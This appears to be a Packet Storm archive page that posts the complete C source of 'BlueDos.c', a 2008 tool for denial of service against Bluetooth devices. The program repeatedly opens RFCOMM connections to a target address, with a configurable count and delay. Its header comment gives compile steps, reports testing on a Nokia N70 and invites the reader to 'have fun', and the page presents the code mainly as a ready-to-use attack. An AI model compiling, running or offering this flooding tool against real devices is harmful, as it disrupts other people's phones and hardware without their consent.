what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

BlueDos.c

BlueDos.c
Posted Jan 11, 2008
Authored by WarGame

Simple denial of service tool for Bluetooth.

tags | denial of service
SHA-256 | 954a2fa30290331cb5a96ae6d6169a029a08cc0ecde27b4891c02902e0ba350e

BlueDos.c

Change Mirror Download
/* A simple tool to make DoS against bluetooth devices. 
Compile it so: gcc BlueDos.c -o BlueDos -lbluetooth
I have test this proggy against my nokia n70 and it seems to work.
Have fun!
Contact me at wargame89@yahoo.it or visit: http://vx.netlux.org/wargamevx
*/

#include <bluetooth/bluetooth.h>
#include <bluetooth/rfcomm.h>
#include <sys/socket.h>

/* make the real connection */
int BlueConnect(bdaddr_t *dst,short channel)
{
struct sockaddr_rc remote_addr, local_addr;
int sock;

if ((sock = socket(PF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM)) < 0)
{
printf("Error creating the bluetooth socket!\n");
return 0;
}

memset(&local_addr, 0, sizeof(local_addr));
local_addr.rc_family = AF_BLUETOOTH;
bacpy(&local_addr.rc_bdaddr, BDADDR_ANY);

if (bind(sock, (struct sockaddr *)&local_addr, sizeof(local_addr)) < 0)
{
printf("Error binding!\n");
close(sock);
return 0;
}

memset(&remote_addr, 0, sizeof(remote_addr));
remote_addr.rc_family = AF_BLUETOOTH;
bacpy(&remote_addr.rc_bdaddr, dst);
remote_addr.rc_channel = channel;

if (connect(sock, (struct sockaddr *)&remote_addr, sizeof(remote_addr)) < 0)
{
printf("Error connecting!\n");
/* Do not return */
}

else
{
printf("[* Done]\n");
}

close(sock); /* close the socket */

}

int main(int argc,char *argv[])
{
int dos_cnt,it;
bdaddr_t dst;
short channel = 1;

if(argc < 4)
{
printf("Usage: %s <bt_addr> <conn_num> <sec_sleep> <channel (optional, default = 1)>\n",argv[0]);
return 0;
}

str2ba(argv[1],&dst);
dos_cnt = abs(atoi(argv[2]));
it = abs(atoi(argv[3]));

if(argv[4] != NULL)
{
channel = abs(atoi(argv[4]));
}

printf("[bt_addr = %s,conn_num = %d,sec_sleep = %d,channel = %d]\n",argv[1],dos_cnt,it,channel);

for(;dos_cnt > 0;dos_cnt--)
{
BlueConnect(&dst,channel);
sleep(it);
}

return 1;
}


Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close